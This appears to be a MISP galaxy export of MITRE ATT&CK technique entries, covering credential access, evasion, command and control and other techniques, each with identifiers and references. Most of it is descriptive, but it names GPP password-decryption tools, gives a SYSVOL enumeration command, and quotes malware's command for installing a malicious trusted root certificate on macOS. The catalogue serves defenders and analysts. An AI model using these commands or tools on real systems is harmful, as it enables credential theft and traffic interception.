Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.
Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)
Internal MISP references
UUID 3731fbcd-0e43-47ae-ae6c-d15e510f0d42 which can be used as unique global reference for Password Filter DLL - T1556.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556.002 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Windows:defense-evasion', 'attack-Windows:persistence'] |
| mitre_data_sources | ['File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Transmitted Data Manipulation - T1565.002
Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Internal MISP references
UUID d0613359-5781-4fd2-b5be-c269270be1f6 which can be used as unique global reference for Transmitted Data Manipulation - T1565.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1565.002 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: OS API Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Group Policy Preferences - T1552.006
Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)
These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)
The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:
- Metasploit’s post exploitation module:
post/windows/gather/credentials/gpp - Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
- gpprefdecrypt.py
On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml
Internal MISP references
UUID 8d7bd4f5-3a89-4453-9c82-2c8894d5655e which can be used as unique global reference for Group Policy Preferences - T1552.006 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=2288 - webarchive
- https://attack.mitre.org/techniques/T1552/006 - webarchive
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11) - webarchive
- https://msdn.microsoft.com/library/cc422924.aspx - webarchive
- https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1552.006 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
ARP Cache Poisoning - T1557.002
Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.
The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.
An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.
The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)
Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
Internal MISP references
UUID cabe189c-a0e3-4965-a473-dcff00f17213 which can be used as unique global reference for ARP Cache Poisoning - T1557.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1557/002 - webarchive
- https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411 - webarchive
- https://tools.ietf.org/html/rfc826 - webarchive
- https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1557.002 |
| kill_chain | ['attack-Linux:credential-access', 'attack-Windows:credential-access', 'attack-macOS:credential-access', 'attack-Linux:collection', 'attack-Windows:collection', 'attack-macOS:collection'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Dynamic Data Exchange - T1559.002
Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)
Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )
DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).(Citation: Fireeye Hunting COM June 2019)
Internal MISP references
UUID 232a7e42-cd6e-4902-8fe9-2960f529dd4d which can be used as unique global reference for Dynamic Data Exchange - T1559.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1559/002 - webarchive
- https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ - webarchive
- https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/ - webarchive
- https://owasp.org/www-community/attacks/CSV_Injection - webarchive
- https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021 - webarchive
- https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee - webarchive
- https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ - webarchive
- https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ - webarchive
- https://technet.microsoft.com/library/security/4053440 - webarchive
- https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/ - webarchive
- https://www.contextis.com/blog/comma-separated-vulnerabilities - webarchive
- https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1559.002 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_data_sources | ['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Domain Generation Algorithms - T1568.002
Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)
Adversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
Internal MISP references
UUID 118f61a5-eb3e-4fb6-931f-2096647f4ecd which can be used as unique global reference for Domain Generation Algorithms - T1568.002 in MISP communities and other software using the MISP galaxy
External references
- http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html - webarchive
- http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf - webarchive
- http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf - webarchive
- https://arxiv.org/pdf/1611.00791.pdf - webarchive
- https://attack.mitre.org/techniques/T1568/002 - webarchive
- https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html - webarchive
- https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/ - webarchive
- https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/ - webarchive
- https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/ - webarchive
- https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html - webarchive
- https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1568.002 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Safe Mode Boot - T1562.009
Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)
Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)
Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. Modify Registry). Malicious Component Object Model (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)
Internal MISP references
UUID 28170e17-8384-415c-8486-2e6b294cb803 which can be used as unique global reference for Safe Mode Boot - T1562.009 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1562/009 - webarchive
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit - webarchive
- https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg - webarchive
- https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/ - webarchive
- https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234 - webarchive
- https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/ - webarchive
- https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise - webarchive
- https://www.cybereason.com/blog/medusalocker-ransomware - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.009 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Create Cloud Instance - T1578.002
An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may Create Snapshot of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect Data from Local System or for Remote Data Staging.(Citation: Mandiant M-Trends 2020)
Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.
Internal MISP references
UUID cf1c2504-433f-4c4e-a1f8-91de45a0318c which can be used as unique global reference for Create Cloud Instance - T1578.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1578/002 - webarchive
- https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/ - webarchive
- https://cloud.google.com/logging/docs/audit#admin-activity - webarchive
- https://content.fireeye.com/m-trends/rpt-m-trends-2020 - webarchive
- https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1578.002 |
| kill_chain | ['attack-IaaS:defense-evasion'] |
| mitre_data_sources | ['Instance: Instance Creation', 'Instance: Instance Metadata'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Code Signing Certificates - T1587.002
Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.
Prior to Code Signing, adversaries may develop self-signed code signing certificates for use in operations.
Internal MISP references
UUID 34b3f738-bd64-40e5-a112-29b0542bc8bf which can be used as unique global reference for Code Signing Certificates - T1587.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1587.002 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Purchase Technical Data - T1597.002
Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.
Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).
Internal MISP references
UUID 0a241b6c-7bb2-48f9-98f7-128145b4d27f which can be used as unique global reference for Purchase Technical Data - T1597.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1597.002 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Virtual Private Server - T1583.003
Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.
Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)
Internal MISP references
UUID 79da0971-3147-4af6-a4f5-e8cd447cd795 which can be used as unique global reference for Virtual Private Server - T1583.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1583/003 - webarchive
- https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf - webarchive
- https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - webarchive
- https://threatconnect.com/blog/infrastructure-research-hunting/ - webarchive
- https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1583.003 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content', 'Internet Scan: Response Metadata'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Install Root Certificate - T1553.004
Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)
Internal MISP references
UUID c615231b-f253-4f58-9d47-d5b4cbdb6839 which can be used as unique global reference for Install Root Certificate - T1553.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1553/004 - webarchive
- https://docs.microsoft.com/sysinternals/downloads/sigcheck - webarchive
- https://en.wikipedia.org/wiki/Root_certificate - webarchive
- https://objective-see.com/blog/blog_0x26.html - webarchive
- https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec - webarchive
- https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/ - webarchive
- https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/ - webarchive
- https://www.youtube.com/watch?v=gchKFumYHWc - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1553.004 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Virtual Private Server - T1584.003
Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)
Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.
Internal MISP references
UUID 39cc9f64-cf74-4a48-a4d8-fe98c54a02e0 which can be used as unique global reference for Virtual Private Server - T1584.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1584/003 - webarchive
- https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf - webarchive
- https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - webarchive
- https://threatconnect.com/blog/infrastructure-research-hunting/ - webarchive
- https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1584.003 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content', 'Internet Scan: Response Metadata'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Time Based Evasion - T1497.003
Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.
Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)
Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)
Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
Internal MISP references
UUID 4bed873f-0b7d-41d4-b93a-b6905d1f90b0 which can be used as unique global reference for Time Based Evasion - T1497.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1497/003 - webarchive
- https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc - webarchive
- https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/ - webarchive
- https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes - webarchive
- https://www.joesecurity.org/blog/3660886847485093803 - webarchive
- https://www.joesecurity.org/blog/498839998833561473 - webarchive
- https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1497.003 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Application Exhaustion Flood - T1499.003
Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)
Internal MISP references
UUID 18cffc21-3260-437e-80e4-4ab8bf2ba5e9 which can be used as unique global reference for Application Exhaustion Flood - T1499.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1499/003 - webarchive
- https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1499.003 |
| kill_chain | ['attack-Windows:impact', 'attack-Azure-AD:impact', 'attack-Office-365:impact', 'attack-SaaS:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact', 'attack-Google-Workspace:impact'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Pluggable Authentication Modules - T1556.003
Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)
Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
Internal MISP references
UUID 06c00069-771a-4d57-8ef5-d3718c1a8771 which can be used as unique global reference for Pluggable Authentication Modules - T1556.003 in MISP communities and other software using the MISP galaxy
External references
- https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules - webarchive
- https://attack.mitre.org/techniques/T1556/003 - webarchive
- https://github.com/zephrax/linux-pam-backdoor - webarchive
- https://linux.die.net/man/8/pam_unix - webarchive
- https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt - webarchive
- https://x-c3ll.github.io/posts/PAM-backdoor-DNS/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556.003 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:persistence', 'attack-macOS:persistence'] |
| mitre_data_sources | ['File: File Modification', 'Logon Session: Logon Session Creation'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Runtime Data Manipulation - T1565.003
Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Internal MISP references
UUID 32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490 which can be used as unique global reference for Runtime Data Manipulation - T1565.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1565.003 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_data_sources | ['File: File Creation', 'File: File Deletion', 'File: File Metadata', 'File: File Modification', 'Process: OS API Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Spearphishing via Service - T1566.003
Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.
